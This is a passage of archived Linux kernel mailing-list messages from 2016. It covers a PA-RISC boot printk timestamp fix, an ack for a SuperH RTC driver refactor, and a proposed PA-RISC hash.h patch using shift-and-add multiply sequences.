List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26813
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26813>

* Mikulas Patocka <mpatocka@redhat.com>:
> Hi
> 
> With the kernel 4.7-rc1, I get corrupted printk times when the machine 
> boots. The kernel is compiled with "Show timing information on printks" 
> (CONFIG_PRINTK_TIME) enabled. There are no other negative effects.
> 
> Bisecting shows that it is caused by the patch 
> 54b668009076caddbede8fde513ca2c982590bfe ("parisc: Add native 
> high-resolution sched_clock() implementation").
> 
> [    0.000000] NR_IRQS:80
> [    0.000000] clocksource: cr16: mask: 0xffffffffffffffff max_cycles: 0x1cd42e4dffb, max_idle_ns: 881590591483 ns
> [    0.000000] Console: colour dummy device 160x64
> [   90.122205] Calibrating delay loop... 1991.60 BogoMIPS (lpj=3317760)
> [   90.224168] pid_max: default: 32768 minimum: 301
> ....
> [   92.235878] 13. Crestone Peak Core RS-232 at 0xfffffff0f05e2000 [18] { 10, 0x0, 0x076, 0x000ad }
> [   92.708000] Releasing cpu 1 now, hpa=fffffffffe781000
> [   92.818803] FP[1] enabled: Rev 1 Model 20
> [    2.917508] Releasing cpu 2 now, hpa=fffffffffe798000
> [    0.196666] FP[2] enabled: Rev 1 Model 20
> [    3.116794] Releasing cpu 3 now, hpa=fffffffffe799000
> [    0.196666] FP[3] enabled: Rev 1 Model 20
> [    3.296942] CPU(s): 4 out of 4 PA8900 (Shortfin) at 1000.000000 MHz online
> [    3.447762] Setting cache flush threshold to 65536 kB
> [    3.450548] Setting TLB flush threshold to 1020 kB

Please try attached patch.

It fixes the problem mostly for me, there is just one little glitch
left, which is that the lines "FP[x] enabled" will still print an
invalid time. I assume it's because when this text is printed, the
clock/interrupts for the just booted CPU aren't enabled yet.

I'm not sure it's worth trying to fix that. 
One could print out that info at a later time, or just disabled it.

Helge

[    5.720014] Enabling PDC_PAT chassis codes support v0.05
[    6.644542] Releasing cpu 1 now, hpa=fffffffffe781000
[    0.196000] FP[1] enabled: Rev 1 Model 20
[    7.088432] CPU(s): 2 out of 2 PA8800 (Mako) at 900.000000 MHz online

-----------

[PATCH] parisc: Fix printk time during boot

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 58dd680..31ec99a 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -309,11 +309,6 @@ void __init time_init(void)
 	clocks_calc_mult_shift(&cyc2ns_mul, &cyc2ns_shift, current_cr16_khz,
 				NSEC_PER_MSEC, 0);
 
-#if defined(CONFIG_HAVE_UNSTABLE_SCHED_CLOCK) && defined(CONFIG_64BIT)
-	/* At bootup only one 64bit CPU is online and cr16 is "stable" */
-	set_sched_clock_stable();
-#endif

From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: invalid printk time during boot on PA-RISC
Date: Thu, 2 Jun 2016 00:36:28 +0300
Lines: 26
Approved: news@gmane.org
Message-ID: <20160601213628.GC5218@raspberrypi.musicnaut.iki.fi>
References: <alpine.LRH.2.02.1605310735130.6341@file01.intranet.prod.int.rdu2.redhat.com>
 <20160601211248.GA15061@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1464817551 9139 80.91.229.3 (1 Jun 2016 21:45:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Jun 2016 21:45:51 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 01 23:45:44 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b8DxN-0004ot-U9
	for glpp-linux-parisc@plane.gmane.org; Wed, 01 Jun 2016 23:45:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752458AbcFAVpg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Jun 2016 17:45:36 -0400
Original-Received: from emh03.mail.saunalahti.fi ([62.142.5.109]:33247 "EHLO
	emh03.mail.saunalahti.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752270AbcFAVpd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Jun 2016 17:45:33 -0400
X-Greylist: delayed 543 seconds by postgrey-1.27 at vger.kernel.org; Wed, 01 Jun 2016 17:45:33 EDT
Original-Received: from raspberrypi.musicnaut.iki.fi (85-76-130-131-nat.elisa-mobile.fi [85.76.130.131])
	by emh03.mail.saunalahti.fi (Postfix) with ESMTP id 0123C188838;
	Thu,  2 Jun 2016 00:36:28 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <20160601211248.GA15061@p100.box>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26814
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26814>

Hi,

On Wed, Jun 01, 2016 at 11:12:48PM +0200, Helge Deller wrote:
> It fixes the problem mostly for me, there is just one little glitch
> left, which is that the lines "FP[x] enabled" will still print an
> invalid time. I assume it's because when this text is printed, the
> clock/interrupts for the just booted CPU aren't enabled yet.
> 
> I'm not sure it's worth trying to fix that. 
> One could print out that info at a later time, or just disabled it.
> 
> Helge
> 
> [    5.720014] Enabling PDC_PAT chassis codes support v0.05
> [    6.644542] Releasing cpu 1 now, hpa=fffffffffe781000
> [    0.196000] FP[1] enabled: Rev 1 Model 20
> [    7.088432] CPU(s): 2 out of 2 PA8800 (Mako) at 900.000000 MHz online

Some tools that analyze boot time based on dmesg might get confused.

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rich Felker <dalias-8zAoT0mYgF4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 04/16] rtc: sh: provide rtc_class_ops directly
Date: Wed, 1 Jun 2016 17:58:14 -0400
Lines: 136
Approved: news@gmane.org
Message-ID: <20160601215814.GE10893@brightrain.aerifal.cx>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
 <1464634684-1248135-5-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464818341 21613 80.91.229.3 (1 Jun 2016 21:59:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Jun 2016 21:59:01 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org, deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org, mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org, dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Original-X-From: rtc-linux+bncBCI4NDXKXQHBBIFVXW5AKGQEA3JEEAA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Wed Jun 01 23:58:59 2016
Return-path: <rtc-linux+bncBCI4NDXKXQHBBIFVXW5AKGQEA3JEEAA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-ig0-f191.google.com ([209.85.213.191])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBCI4NDXKXQHBBIFVXW5AKGQEA3JEEAA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b8EAE-00062X-0G
	for gldr-rtc-linux@m.gmane.org; Wed, 01 Jun 2016 23:58:58 +0200
Original-Received: by mail-ig0-f191.google.com with SMTP id rx12sf8838324igc.1
        for <gldr-rtc-linux@m.gmane.org>; Wed, 01 Jun 2016 14:58:57 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent:sender
         :x-original-sender:x-original-authentication-results:reply-to
         :precedence:mailing-list:list-id:x-spam-checked-in-group:list-post
         :list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=txdpVbDKAR5I9cjis+SQ7jYp+7fd2t88JDMeXTuASTU=;
        b=iIMowxr46KSyYqBgPVv234EBRmvLtcrVkc1CSGULszRPiXFKcdCNurG4WWEKNNbMum
         KINjkiXbFXAO46+y3hFIZjnjOc9Fo0p7ywdXET9lLXKanpvSlXtXP20NtU2AV5YinOFA
         1A0U1hiWHNI+MNV3DXkm4q0fXq6rma3zJx1VhP5BiIYpuKpAyAc74bAVN2d8+EtyCs3R
         iOI3BQ3SP19tvi52Ooh2AZ0UGMuCok8xOwwG+/PPRoSpDt4MzSKEB8U0defnI5i3orIb
         WhCy2EsE5684tclWDCBJn1R0moCNUEtxXxyxMEQmuUlNst5dCLZabESK9CfZMW/BlY 
X-Gm-Message-State: ALyK8tJrzDxcq+L8DQHdEqvGF5lcd7Ve+0gTTgEnMlQzt4uJ/rwHK0gXmu2g+s8ymCYQRw==
X-Received: by 10.36.213.134 with SMTP id a128mr115939itg.8.1464818337186;
        Wed, 01 Jun 2016 14:58:57 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.36.103.3 with SMTP id u3ls1464649itc.39.gmail; Wed, 01 Jun
 2016 14:58:56 -0700 (PDT)
X-Received: by 10.107.136.79 with SMTP id k76mr4211251iod.29.1464818336814;
        Wed, 01 Jun 2016 14:58:56 -0700 (PDT)
Original-Received: from brightrain.aerifal.cx (216-12-86-13.cv.mvl.ntelos.net. [216.12.86.13])
        by gmr-mx.google.com with ESMTP id d71si2391529ywb.3.2016.06.01.14.58.56
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>;
        Wed, 01 Jun 2016 14:58:56 -0700 (PDT)
Received-SPF: neutral (google.com: 216.12.86.13 is neither permitted nor denied by best guess record for domain of dalias-/miJ2pyFWUyWIDz0JBNUog@public.gmane.org) client-ip=216.12.86.13;
Original-Received: from dalias by brightrain.aerifal.cx with local (Exim 3.15 #2)
	id 1b8E9W-0002bd-00; Wed, 01 Jun 2016 21:58:14 +0000
Content-Disposition: inline
In-Reply-To: <1464634684-1248135-5-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: Rich Felker <dalias-/miJ2pyFWUyWIDz0JBNUog@public.gmane.org>
X-Original-Sender: dalias-8zAoT0mYgF4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 216.12.86.13 is neither permitted nor denied by best guess
 record for domain of dalias-/miJ2pyFWUyWIDz0JBNUog@public.gmane.org) smtp.mailfrom=dalias-/miJ2pyFWUyWIDz0JBNUog@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:64 gmane.linux.ports.alpha:3754 gmane.linux.kernel:2232749 gmane.linux.ports.parisc:26815 gmane.linux.ports.ppc64.devel:127927 gmane.linux.ports.sh.devel:54144 gmane.linux.kernel.cross-arch:32262
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/64>

On Mon, May 30, 2016 at 08:57:52PM +0200, Arnd Bergmann wrote:
> The rtc-generic driver provides an architecture specific
> wrapper on top of the generic rtc_class_ops abstraction,
> and on sh, that goes through another indirection using
> the rtc_sh_get_time/rtc_sh_set_time functions.
> 
> This changes the sh rtc-generic device to provide its
> rtc_class_ops directly, skipping one of the abstraction
> levels.
> 
> Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>

I haven't tested any of this, but based on our discussion of the
previous version, I'm satisfied that it makes sense.

Acked-by: Rich Felker <dalias-8zAoT0mYgF4@public.gmane.org>

> ---
>  arch/sh/include/asm/rtc.h | 11 -----------
>  arch/sh/kernel/time.c     | 33 ++++++++++++++++++++-------------
>  drivers/rtc/rtc-generic.c |  2 +-
>  3 files changed, 21 insertions(+), 25 deletions(-)
> 
> diff --git a/arch/sh/include/asm/rtc.h b/arch/sh/include/asm/rtc.h
> index 52b0c2dba979..f7b010d48af7 100644
> --- a/arch/sh/include/asm/rtc.h
> +++ b/arch/sh/include/asm/rtc.h
> @@ -6,17 +6,6 @@ extern void (*board_time_init)(void);
>  extern void (*rtc_sh_get_time)(struct timespec *);
>  extern int (*rtc_sh_set_time)(const time_t);
>  
> -/* some dummy definitions */
> -#define RTC_BATT_BAD 0x100	/* battery bad */
> -#define RTC_SQWE 0x08		/* enable square-wave output */
> -#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
> -#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
> -#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
> -
> -struct rtc_time;
> -unsigned int get_rtc_time(struct rtc_time *);
> -int set_rtc_time(struct rtc_time *);
> -
>  #define RTC_CAP_4_DIGIT_YEAR	(1 << 0)
>  
>  struct sh_rtc_platform_info {
> diff --git a/arch/sh/kernel/time.c b/arch/sh/kernel/time.c
> index d6d0a986c6e9..a4a7862b489a 100644
> --- a/arch/sh/kernel/time.c
> +++ b/arch/sh/kernel/time.c
> @@ -50,27 +50,31 @@ int update_persistent_clock(struct timespec now)
>  }
>  #endif
>  
> -unsigned int get_rtc_time(struct rtc_time *tm)
> +static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
>  {
> -	if (rtc_sh_get_time != null_rtc_get_time) {
> -		struct timespec tv;
> +	struct timespec tv;
>  
> -		rtc_sh_get_time(&tv);
> -		rtc_time_to_tm(tv.tv_sec, tm);
> -	}
> -
> -	return RTC_24H;
> +	rtc_sh_get_time(&tv);
> +	rtc_time_to_tm(tv.tv_sec, tm);
> +	return 0;
>  }
> -EXPORT_SYMBOL(get_rtc_time);
>  
> -int set_rtc_time(struct rtc_time *tm)
> +static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
>  {
>  	unsigned long secs;
>  
>  	rtc_tm_to_time(tm, &secs);
> -	return rtc_sh_set_time(secs);
> +	if ((rtc_sh_set_time == null_rtc_set_time) ||
> +	    (rtc_sh_set_time(secs) < 0))
> +		return -EOPNOTSUPP;
> +
> +	return 0;
>  }
> -EXPORT_SYMBOL(set_rtc_time);
> +
> +static const struct rtc_class_ops rtc_generic_ops = {
> +	.read_time = rtc_generic_get_time,
> +	.set_time = rtc_generic_set_time,
> +};
>  
>  static int __init rtc_generic_init(void)
>  {
> @@ -79,7 +83,10 @@ static int __init rtc_generic_init(void)
>  	if (rtc_sh_get_time == null_rtc_get_time)
>  		return -ENODEV;
>  
> -	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
> +	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
> +					     &rtc_generic_ops,
> +					     sizeof(rtc_generic_ops));
> +
>  
>  	return PTR_ERR_OR_ZERO(pdev);
>  }
> diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
> index d726c6aa96a8..3958e87a05fa 100644
> --- a/drivers/rtc/rtc-generic.c
> +++ b/drivers/rtc/rtc-generic.c
> @@ -10,7 +10,7 @@
>  #include <linux/rtc.h>
>  
>  #if defined(CONFIG_M68K) || defined(CONFIG_PARISC) || \
> -    defined(CONFIG_PPC) || defined(CONFIG_SUPERH32)
> +    defined(CONFIG_PPC)
>  #include <asm/rtc.h>
>  
>  static int generic_get_time(struct device *dev, struct rtc_time *tm)
> -- 
> 2.7.0
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-sh" in
> the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "George Spelvin" <linux@sciencehorizons.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH v2, still needs work] parisc: add <asm/hash.h>
Date: 2 Jun 2016 17:37:34 -0400
Lines: 255
Approved: news@gmane.org
Message-ID: <20160602213734.8916.qmail@ns.sciencehorizons.net>
References: <20160531134156.878.qmail@ns.sciencehorizons.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1464903473 15533 80.91.229.3 (2 Jun 2016 21:37:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Jun 2016 21:37:53 +0000 (UTC)
Cc: dave.anglin@bell.net, jejb@parisc-linux.org
To: deller@gmx.de, linux-parisc@vger.kernel.org,
	linux@sciencehorizons.net
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 02 23:37:40 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b8aJ9-0007OJ-A0
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 Jun 2016 23:37:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932565AbcFBVhh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Jun 2016 17:37:37 -0400
Original-Received: from science.sciencehorizons.net ([71.41.210.147]:54928 "HELO
	ns.sciencehorizons.net" rhost-flags-OK-FAIL-OK-OK) by vger.kernel.org
	with SMTP id S932215AbcFBVhh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Jun 2016 17:37:37 -0400
Original-Received: (qmail 8917 invoked by uid 1000); 2 Jun 2016 17:37:34 -0400
In-Reply-To: <20160531134156.878.qmail@ns.sciencehorizons.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26816
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26816>

>From 76c1fedcb594fc4a75e2d836ab40e9e8ec455755 Mon Sep 17 00:00:00 2001
From: George Spelvin <linux@horizon.com>
Date: Thu, 2 Jun 2016 17:31:42 -0400
Subject: [PATCH] parisc: add <asm/hash.h>

PA-RISC is interesting; integer multiplies are implemented in the
FPU, so are painful in the kernel.  But it tries to be friendly to
shift-and-add sequences.

__hash_32 is implemented using the same shift-and-add sequence as
Microblaze, just scheduled for the PA7100.  (It's 2-way superscalar
but in-order, like the Pentium.)

hash_64 was tricky, but a suggestion from Jason Thong allowed a good
solution by breaking up the multiplier.  Unfortunately, I scheduled it
based on a serious misunderstanding of the PA8000's pipeline.  It's 4-way
superscalar, but two of those slots are reserved for load/store instructions.
Contrary to what I thought while writing the code, it can only issue 2 ALU
operations per cycle, so the 20 instructions here take 11 cycles.
(The final add can't be paired.)

An alternative implementation is included, but not enabled by default:
Thomas Wang's 64-to-32-bit hash.  This is more compact than the multiply,
but has a slightly longer dependency chain.

Signed-off-by: George Spelvin <linux@sciencehorizons.net>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
I got allexcited when I managed to schedule the multiply in 8 cycles..
then realized I misunderstood the "4-way superscalar" nature of the
PA8000.  Still, it's better than the previous one, so I'm sending it
out for comment anyway.

 arch/parisc/Kconfig            |   1 +
 arch/parisc/include/asm/hash.h | 190 +++++++++++++++++++++++++++++++++++++++++
 2 files changed, 191 insertions(+)
 create mode 100644 arch/parisc/include/asm/hash.h

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 88cfaa8..8ed2a44 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -30,6 +30,7 @@ config PARISC
 	select TTY # Needed for pdc_cons.c
 	select HAVE_DEBUG_STACKOVERFLOW
 	select HAVE_ARCH_AUDITSYSCALL
+	select HAVE_ARCH_HASH
 	select HAVE_ARCH_SECCOMP_FILTER
 	select ARCH_NO_COHERENT_DMA_MMAP
 
diff --git a/arch/parisc/include/asm/hash.h b/arch/parisc/include/asm/hash.h
new file mode 100644
index 0000000..13f8073
--- /dev/null
+++ b/arch/parisc/include/asm/hash.h
@@ -0,0 +1,190 @@
+#ifndef _ASM_HASH_H
+#define _ASM_HASH_H
+
+/*
+ * HP-PA only implements integer multiply in the FPU.  However, for
+ * integer multiplies by constant, it has a number of shift-and-add
+ * (but no shift-and-subtract, sigh!) instructions that a compiler
+ * can synthesize a code sequence with.
+ *
+ * Unfortunately, GCC isn't very efficient at using them.  For example
+ * it uses three instructions for "x *= 21" when only two are needed.
+ * But we can find a sequence manually.
+ */
+
+#define HAVE_ARCH__HASH_32 1
+
+/*
+ * This is a multiply by GOLDEN_RATIO_32 = 0x61C88647 optimized for the
+ * PA7100 pairing rules.  This is an in-order 2-way superscalar processor.
+ * Only one instruction in a pair may be a shift (by more than 3 bits),
+ * but other than that, simple ALU ops (including shift-and-add by up
+ * to 3 bits) may be paired arbitrarily.
+ *
+ * PA8xxx processors are out of order and don't need such careful
+ * scheduling.
+ *
+ * This 6-step sequence was found by Yevgen Voronenko's implementation
+ * of the Hcub algorithm at http://spiral.ece.cmu.edu/mcm/gen.html.
+ */
+static inline u32 __attribute_const__ __hash_32(u32 x)
+{
+	u32 a, b, c;
+
+	/*
+	 * Phase 1: Compute  a = (x << 19) + x,
+	 * b = (x << 9) + a, c = (x << 23) + b.
+	 */
+	a = x << 19;		/* Two shifts can't be paired */
+	b = x << 9;	a += x;
+	c = x << 23;	b += a;
+			c += b;
+	/* Phase 2: Return (b<<11) + (c<<6) + (a<<3) - c */
+	b <<= 11;
+	a += c << 3;	b -= c;
+	return (a << 3) + b;
+}
+
+#if BITS_PER_LONG == 64
+
+#define HAVE_ARCH_HASH_64 1
+
+#if HAVE_ARCH_HASH_64 == 1
+/*
+ * Multiply by GOLDEN_RATIO_64.  Finding a good shift-and-add chain for
+ * this is tricky, because available software for the purpose chokes on
+ * constants this large.  (It's mostly used for compiling FIR filter
+ * coefficients into FPGAs.)
+ *
+ * However, Jason Thong pointed out a work-around.  The Hcub software
+ * (http://spiral.ece.cmu.edu/mcm/gen.html) is designed for *multiple*
+ * constant multiplication, and is good at finding shift-and-add chains
+ * which share common terms.
+ *
+ * Looking at 0x0x61C8864680B583EB in binary:
+ * 0110000111001000100001100100011010000000101101011000001111101011
+ *  \______________/    \__________/       \_______/     \________/
+ *   \____________________________/         \____________________/
+ * you can see the non-zero bits are divided into several well-separated
+ * blocks.  Hcub can find algorithms for those terms separately, which
+ * can then be shifted and added together.
+ *
+ * Various combinations all work, but using just two large blocks,
+ * 0xC3910C8D << 31 in the high bits, and 0xB583EB in the low bits,
+ * produces as good an algorithm as any, and with one more small shift
+ * than alternatives.
+ *
+ * The high bits are a larger number and more work to compute, as well
+ * as needing one extra cycle to shift left 31 bits before the final
+ * addition, so they are the critical path for scheduling.  The low bits
+ * can fit into the scheduling slots left over.
+ *
+ * This is scheduled for the PA-8xxx series, which can issue up to
+ * 2 ALU operations (including shladd) + 2 shifts per cycle.
+ *
+ * Basically, the first three cycles compute common terms used for both
+ * constants, and the computation splits starting with cycle 4.
+ *
+ * Scheduling is limited by data dependency, except for cycle 6, where the
+ * first instruction ("b += a") is delayed due to a lack of ALU resources
+ * in cycle 5.  Fortunately, that (and the following shift) isn't on the
+ * critical path and the delay is inconsequential.
+ *
+ * In several places, the construction asm("" : (+r) (dest) : "0" (src));
+ * is used.  This basically performs "dest = src", but prevents gcc from
+ * inferring anything about the value assigned to "dest".  This blocks it
+ * from some mistaken optimizations like rearranging "y += z; x -= y;"
+ * into "x -= z; x -= y;", or "x <<= 23; y += x; z += x << 1;" into
+ * "y += x << 23; z += x << 24;".
+ *
+ * Because the actual assembly generated is empty, this construct is
+ * usefully portable across all GCC platforms, and so can be test-compiled
+ * on non-PA systems.
+ *
+ * In two places, a second unused input dependency is added.  This forces
+ * GCC's scheduling so it does not rearrange instructions too much.
+ */
+static __always_inline u32 __attribute_const__
+hash_64(u64 a, unsigned int bits)
+{
+	u64 b, c, d, e;
+		/* Cycle 1 */
+	asm("" : "=r" (d) : "0" (a * 5));
+	b = a << 13;
+	c = a << 17;
+		/* Cycle 2 */
+	b += c;
+	d = (d << 2) + a;       /* = a * 21 */
+		/* Cycle 3 */
+	a = (a << 1) + d;       /* = a * 23 */
+	c = d << 7;
+	b += d;
+		/* Cycle 4 */
+	asm("" : "=r" (c) : "0" (c+d));		/* c += d */
+	d = (d << 1) + b;
+	asm("" : "=r" (e) : "0" (a << 23));     /* e = a << 23 */
+	asm("" : "=r" (a) : "0" (a << 10));	/* a <<= 10 */
+		/* Cycle 5 */
+	d += e << 1;
+	c += e;
+		/* Cycle 6 */
+	asm("" : "=r" (b) : "0" (b + a),	/* b += a */
+		 "r" (d));			/* Force scheduling */
+	a <<= 9;
+	c += d << 3;
+		/* Cycle 7 */
+	a -= b;
+	bits = 64 - bits;
+	c <<= 31;
+		/* Cycle 8 */
+	asm("" : "=r" (a) : "0" (a + c), "X" (bits));
+		/* Cycle 9 */
+	return a >> bits;
+}
+
+#else /* HAVE_ARCH_HASH_64 != 1 */
+/*
+ * If we don't care about matching the generic function, here's an
+ * alternative hash function; Thomas Wang's 64-to-32 bit hash function.
+ * https://web.archive.org/web/2011/http://www.concentric.net/~Ttwang/tech/inthash.htm
+ * http://burtleburtle.net/bob/hash/integer.html
+ *
+ * This algorithm concentrates the entropy in the low bits of the output,
+ * so they are returned.
+ *
+ * Compared to the multiply, this uses 2 registers (rather than 5), and
+ * 12 instructions (rather than 20), but each instruction in sequentially
+ * dependent, so it's 12 cycles (rather than 8).
+ *
+ * (In both cases, I'm not counting the final extract of the desired bits.)
+ */
+static __always_inline u32 __attribute_const__
